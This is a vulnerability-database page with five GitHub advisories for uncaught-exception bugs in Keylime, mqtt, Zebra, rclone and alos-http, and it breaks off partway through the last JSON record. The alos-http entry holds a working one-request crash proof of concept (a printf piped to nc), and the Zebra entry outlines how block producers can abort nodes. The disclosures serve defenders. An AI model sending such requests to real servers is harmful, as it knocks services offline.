Vulnerability-Lookup

GHSA-HFF2-X2J9-GXGV

Vulnerability from github – Published: 2022-10-28 19:19 – Updated: 2025-04-29 13:15

Summary

Keylime: unhandled exceptions could lead to invalid attestation states

Details

Impact

This vulnerability creates a false sense of security for keylime users -- i.e. a user could query keylime and conclude that a parcitular node/agent is correctly attested, while attestations are not in fact taking place.

Short explanation: the keylime verifier creates periodic reports on the state of each attested agent. The keylime verifier runs a set of python asynchronous processes to challenge attested nodes and create reports on the outcome.

The vulnerability consists of the above named python asynchronous processes failing silently, i.e. quitting without leaving behind a database entry, raising an error or producing even a mention of an error in a log. The silent failure can be triggered by a small set of transient network failure conditions; recoverable device driver crashes being one such condition we saw in the wild.

Patches

The problem is fixed in keylime starting with tag 6.5.1

Workarounds

This patch can be retroactively applied to any running keylime deployment. Only running verifiers need to be patched. After the patch is applied, the keylime verifier needs to be restarted.

References

The problem, as well as the proposed fix, are described in detail here. Further details about the system where the bug was found, and the conditions in which the bug was found, are available from @galmasi on demand.

For more information

If you have any questions or comments about this advisory, please comment at the bottom of the advisory itself.

Severity

5.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keylime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-28T19:19:42Z",
    "nvd_published_at": "2022-11-22T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThis vulnerability creates a false sense of security for keylime users -- i.e. a user could query keylime and conclude that a parcitular node/agent is correctly attested, while attestations are not in fact taking place.\n\n**Short explanation**: the keylime verifier creates periodic reports on the state of each attested agent. The keylime verifier runs a set of python asynchronous processes to challenge attested nodes and create reports on the outcome. \n\nThe vulnerability consists of the above named python asynchronous processes failing silently, i.e. quitting without leaving behind a database entry, raising an error or producing even a mention of an error in a log. The silent failure can be triggered by a small set of transient network failure conditions; recoverable device driver crashes being one such condition we saw in the wild.\n\n### Patches\n\nThe problem is fixed in keylime starting with tag 6.5.1\n\n### Workarounds\n\nThis [patch](https://github.com/keylime/keylime/pull/1128/files) can be retroactively applied to any running keylime deployment.\nOnly running verifiers need to be patched.\nAfter the patch is applied, the keylime verifier needs to be restarted.\n\n### References\n\nThe problem, as well as the proposed fix, are described in detail [here](https://github.com/keylime/keylime/pull/1128).\nFurther details about the system where the bug was found, and the conditions in which the bug was found, are available from @galmasi on demand.\n\n### For more information\n\nIf you have any questions or comments about this [advisory](https://github.com/keylime/keylime/security/advisories/GHSA-hff2-x2j9-gxgv), please comment at the bottom of the advisory itself.",
  "id": "GHSA-hff2-x2j9-gxgv",
  "modified": "2025-04-29T13:15:08Z",
  "published": "2022-10-28T19:19:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/security/advisories/GHSA-hff2-x2j9-gxgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/pull/1128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/commit/f969d397f92962b553f8c5bcbbeeb3bbdeca9456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2022-3500"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keylime/keylime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keylime/PYSEC-2022-42995.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PUTHMDVFNGGVPCNPOGULMJAAFEP7MEXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QX4XVCAUFGJ2I2NCTOKONTJGRJB2NBBT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZQH5CJRX65QYMQN5WGUKKKE3IRJBWG5Z"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PUTHMDVFNGGVPCNPOGULMJAAFEP7MEXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QX4XVCAUFGJ2I2NCTOKONTJGRJB2NBBT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZQH5CJRX65QYMQN5WGUKKKE3IRJBWG5Z"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Keylime: unhandled exceptions could lead to invalid attestation states"
}

GHSA-HG78-C92R-HVWR

Vulnerability from github – Published: 2020-09-01 16:01 – Updated: 2021-09-23 21:37

Summary

Denial of Service in mqtt

Details

Affected versions of mqtt will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.

Recommendation

Update to v1.0.0 or later

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mqtt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-1000242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:12:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `mqtt` will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.\n\n\n\n## Recommendation\n\nUpdate to v1.0.0 or later",
  "id": "GHSA-hg78-c92r-hvwr",
  "modified": "2021-09-23T21:37:37Z",
  "published": "2020-09-01T16:01:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000242"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mqttjs/MQTT.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mqttjs/MQTT.js/blob/388a084d7803934b18b43c1146c817deaa1396b1/lib/parse.js#L230"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:mqtt:20160817"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/140"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in mqtt"
}

GHSA-HHM7-QRV5-H4R6

Vulnerability from github – Published: 2026-07-02 19:46 – Updated: 2026-07-02 19:46

Summary

Zebra: Repeated Non-Finalized Shielded Transaction Aborts Zebra Before Duplicate-Nullifier Rejection

Details

Am I affected

You are affected if:

You run zebrad up to and including v4.4.1.
Your node processes blocks past the checkpoint height (non-finalized state is active).
The network has NU5 or later activated.

All default configurations are affected.

Summary

Chain::push in the non-finalized state updates the transaction-location index (tx_loc_by_hash) before it runs the duplicate shielded-nullifier guard. When an invalid child block repeats a shielded transaction from its non-finalized parent, the assert_eq!(prior_pair, None, "transactions must be unique within a single chain") fires before the contextual validation that would cleanly reject the duplicate. Under Zebra's panic = "abort" release profile, this terminates the entire node process.

The block should be rejected with a duplicate-nullifier contextual validation error. Instead, the ordering of index updates within Chain::push causes the process to abort.

Details

In zebra-state/src/service/non_finalized_state/chain.rs:1608-1628, the block push sequence is:

Insert transaction hash into tx_loc_by_hash with assert_eq! on uniqueness
Update transparent outputs and inputs
Update shielded data (JoinSplit, Sapling, Orchard) — including nullifier uniqueness checks

The shielded nullifier uniqueness check at step 3 would correctly reject the duplicate transaction. But the assert_eq! at step 1 fires first because the transaction hash is already in tx_loc_by_hash from the parent block on the same chain.

The block transaction verifier does not run the best-chain nullifier query for block transactions — that check is gated on mempool transactions only (zebra-consensus/src/transaction.rs:521-526). Initial contextual validation checks nullifiers in finalized state only (zebra-state/src/service/check.rs:407-415), but the parent transaction is still in non-finalized state.

There are two attack models:

Model A (two attacker blocks): The attacker mines two consecutive valid-work blocks: parent B1 containing a shielded transaction T, and child B2 repeating T. This requires controlling both blocks consecutively.

Model B (one attacker block after an honest block): The attacker broadcasts a shielded transaction T into the mempool. When any honest miner includes T in their block B1, the attacker only needs to mine the next child block B2 containing the same T. This requires controlling only one block immediately after an honest block that included the attacker's transaction. The attacker can broadcast a suitable shielded transaction every block until one is included by an honest miner, then attempt to mine the follow-up.

Both models require the child block to repeat the shielded-only V5 transaction while the parent is still in non-finalized state.

Patches

zebra-state 7.0.0 and zebrad 4.5.0.

Replace the assert_eq! with an Entry-based check that returns ValidateContextError::DuplicateTransaction instead of panicking:

match self.tx_loc_by_hash.entry(transaction_hash) {
    Entry::Vacant(entry) => {
        entry.insert(transaction_location);
    }
    Entry::Occupied(_) => {
        return Err(ValidateContextError::DuplicateTransaction { transaction_hash });
    }
}

Workarounds

There is no configuration-level workaround. The assert is in the non-finalized state push path, which is exercised by all block processing past the checkpoint height.

Impact

A malicious block producer can crash targeted Zebra nodes. There are two attack models:

In the first model, the attacker mines two consecutive valid-work blocks where the child repeats a shielded transaction from the parent. At 10% hashrate, the attacker has approximately 11.5 opportunities per day; at 5%, approximately 2.9 per day; at 1%, approximately one every 8.7 days.

In the second model, the attacker broadcasts a shielded transaction into the mempool and waits for any honest miner to include it. The attacker then only needs to mine the next block containing the same transaction. This is cheaper because the attacker does not need to mine the parent block. At 10% hashrate, the attacker has approximately 14.4 single-block opportunities per day; at 5%, approximately 7.2 per day; at 1%, approximately 1.4 per day.

The crash is a process abort (not recoverable within the process). The node must be restarted. Repeated attacks can keep a node down for extended periods. This is a liveness issue, not a consensus divergence: zcashd cleanly rejects the invalid child block while Zebra aborts.

Credit

Reported by @haxatron via email disclosure.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-state"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:46:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Am I affected\n\nYou are affected if:\n\n1. You run `zebrad` up to and including `v4.4.1`.\n2. Your node processes blocks past the checkpoint height (non-finalized state is active).\n3. The network has NU5 or later activated.\n\nAll default configurations are affected.\n\n### Summary\n\n`Chain::push` in the non-finalized state updates the transaction-location index (`tx_loc_by_hash`) before it runs the duplicate shielded-nullifier guard. When an invalid child block repeats a shielded transaction from its non-finalized parent, the `assert_eq!(prior_pair, None, \"transactions must be unique within a single chain\")` fires before the contextual validation that would cleanly reject the duplicate. Under Zebra\u0027s `panic = \"abort\"` release profile, this terminates the entire node process.\n\nThe block should be rejected with a duplicate-nullifier contextual validation error. Instead, the ordering of index updates within `Chain::push` causes the process to abort.\n\n### Details\n\nIn `zebra-state/src/service/non_finalized_state/chain.rs:1608-1628`, the block push sequence is:\n\n1. Insert transaction hash into `tx_loc_by_hash` with `assert_eq!` on uniqueness\n2. Update transparent outputs and inputs\n3. Update shielded data (JoinSplit, Sapling, Orchard) \u2014 including nullifier uniqueness checks\n\nThe shielded nullifier uniqueness check at step 3 would correctly reject the duplicate transaction. But the `assert_eq!` at step 1 fires first because the transaction hash is already in `tx_loc_by_hash` from the parent block on the same chain.\n\nThe block transaction verifier does not run the best-chain nullifier query for block transactions \u2014 that check is gated on mempool transactions only (`zebra-consensus/src/transaction.rs:521-526`). Initial contextual validation checks nullifiers in finalized state only (`zebra-state/src/service/check.rs:407-415`), but the parent transaction is still in non-finalized state.\n\nThere are two attack models:\n\n**Model A (two attacker blocks):** The attacker mines two consecutive valid-work blocks: parent B1 containing a shielded transaction T, and child B2 repeating T. This requires controlling both blocks consecutively.\n\n**Model B (one attacker block after an honest block):** The attacker broadcasts a shielded transaction T into the mempool. When any honest miner includes T in their block B1, the attacker only needs to mine the next child block B2 containing the same T. This requires controlling only one block immediately after an honest block that included the attacker\u0027s transaction. The attacker can broadcast a suitable shielded transaction every block until one is included by an honest miner, then attempt to mine the follow-up.\n\nBoth models require the child block to repeat the shielded-only V5 transaction while the parent is still in non-finalized state.\n\n### Patches\n\nzebra-state 7.0.0 and zebrad 4.5.0.\n\nReplace the `assert_eq!` with an `Entry`-based check that returns `ValidateContextError::DuplicateTransaction` instead of panicking:\n\n```rust\nmatch self.tx_loc_by_hash.entry(transaction_hash) {\n    Entry::Vacant(entry) =\u003e {\n        entry.insert(transaction_location);\n    }\n    Entry::Occupied(_) =\u003e {\n        return Err(ValidateContextError::DuplicateTransaction { transaction_hash });\n    }\n}\n```\n\n### Workarounds\n\nThere is no configuration-level workaround. The assert is in the non-finalized state push path, which is exercised by all block processing past the checkpoint height.\n\n### Impact\n\nA malicious block producer can crash targeted Zebra nodes. There are two attack models:\n\nIn the first model, the attacker mines two consecutive valid-work blocks where the child repeats a shielded transaction from the parent. At 10% hashrate, the attacker has approximately 11.5 opportunities per day; at 5%, approximately 2.9 per day; at 1%, approximately one every 8.7 days.\n\nIn the second model, the attacker broadcasts a shielded transaction into the mempool and waits for any honest miner to include it. The attacker then only needs to mine the next block containing the same transaction. This is cheaper because the attacker does not need to mine the parent block. At 10% hashrate, the attacker has approximately 14.4 single-block opportunities per day; at 5%, approximately 7.2 per day; at 1%, approximately 1.4 per day.\n\nThe crash is a process abort (not recoverable within the process). The node must be restarted. Repeated attacks can keep a node down for extended periods. This is a liveness issue, not a consensus divergence: zcashd cleanly rejects the invalid child block while Zebra aborts.\n\n### Credit\n\nReported by `@haxatron` via email disclosure.",
  "id": "GHSA-hhm7-qrv5-h4r6",
  "modified": "2026-07-02T19:46:35Z",
  "published": "2026-07-02T19:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-hhm7-qrv5-h4r6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/Cargo.toml#L304-L305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/zebra-consensus/src/transaction.rs#L521-L526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/zebra-state/src/service/non_finalized_state/chain.rs#L1608-L1628"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zebra: Repeated Non-Finalized Shielded Transaction Aborts Zebra Before Duplicate-Nullifier Rejection"
}

GHSA-HQC5-CQQV-7GWF

Vulnerability from github – Published: 2026-08-25 18:31 – Updated: 2026-08-25 18:31

Details

rclone before v1.75.0 contains a denial of service vulnerability in the WebDAV TUS creation handler that dereferences a nil response before checking for transport errors. A malicious or compromised configured endpoint can reset connections during TUS uploads to trigger a panic that terminates unrecovered goroutines and halts unrelated work in long-lived processes.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-79778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T16:17:29Z",
    "severity": "MODERATE"
  },
  "details": "rclone before v1.75.0 contains a denial of service vulnerability in the WebDAV TUS creation handler that dereferences a nil response before checking for transport errors. A malicious or compromised configured endpoint can reset connections during TUS uploads to trigger a panic that terminates unrecovered goroutines and halts unrelated work in long-lived processes.",
  "id": "GHSA-hqc5-cqqv-7gwf",
  "modified": "2026-08-25T18:31:54Z",
  "published": "2026-08-25T18:31:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-3x6r-wxxg-53vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79778"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/rclone-before-denial-of-service-via-tus-nil-response-panic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HR6J-W4MW-G9MJ

Vulnerability from github – Published: 2026-08-28 19:19 – Updated: 2026-08-28 19:19

Summary

alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

Details

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
    return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
    return p
}

when the path starts with "?" len(path) is not 0 so the early return does not fire
after splitPathQuery p is empty ""
p is then indexed p[0] without a length check

Relevant calling sites:

h1_plain.go:ParseH1RequestHead (HTTP/1.1)
h1.go::ParseH1Request (dead code)
hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
hpack.go::observeHeader (HTTP/2)
h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/guno1928/alos-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260617230736-314b6783e196"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:19:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process.\nThe request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled\n\n### Details\n**root cause**: `core/utils.go::sanitizeRequestPath`\n```go\n// assume path := \"?\"\nif len(path) == 0 { // len(path) == 1\n\treturn \"/\"\n}\n\np, _ := splitPathQuery(path) // p == \"\"\n\nif p[0] == \u0027/\u0027 /*...*/ { // p[0] on empty string =\u003e panic: index out of range\n\treturn p\n}\n```\n\n* when the path starts with \"?\" len(path) is not 0 so the early return does not fire\n* after `splitPathQuery` `p` is empty `\"\"`\n* `p` is then indexed `p[0]` without a length check\n\nRelevant calling sites:\n\n* `h1_plain.go:ParseH1RequestHead` (HTTP/1.1)\n* `h1.go::ParseH1Request` (dead code)\n* `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2)\n* `hpack.go::observeHeader` (HTTP/2)\n* `h3_conn.go::handleRequestStream` (HTTP/3)\n\nthese run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic\n\n### PoC\n\nMinimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start)\n\n```go\nsrv := core.New(core.Config{Addr: \":8080\", PlainHTTP: true})\nsrv.Router.Use(core.Recovery()) // is unable to catch a parser panic\nsrv.Router.GET(\"/\", func(req *core.Request, resp *core.Response) { resp.Status(200).String(\"not crashed (yet)\") })\nlog.Fatal(srv.ListenAndServe())\n```\n\nCrash it with a single request\n\n```bash\nprintf \u0027GET ? HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n\u0027 | nc 127.0.0.1 8080\n```\n\nServer output \u0026 crash\n\n```log\n2026/06/11 20:52:52 listening on http://localhost:8080\n2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false =\u003e use-ktls=false\n2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)\n2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===\n2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))\n2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 34 [running]:\ngithub.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})\n        /home/baloo/alos-http/core/utils.go:566 +0x64a\ngithub.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)\n        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a\ngithub.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69\ncreated by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a\nexit status 2\n```\n\nall subsequent requests now fail, since the server is down\n\n### Impact\n\nUnauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.\nRepeating this process keeps the service offline. \nThere is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)",
  "id": "GHSA-hr6j-w4mw-g9mj",
  "modified": "2026-08-28T19:19:38Z",
  "published": "2026-08-28T19:19:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guno1928/alos-http"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
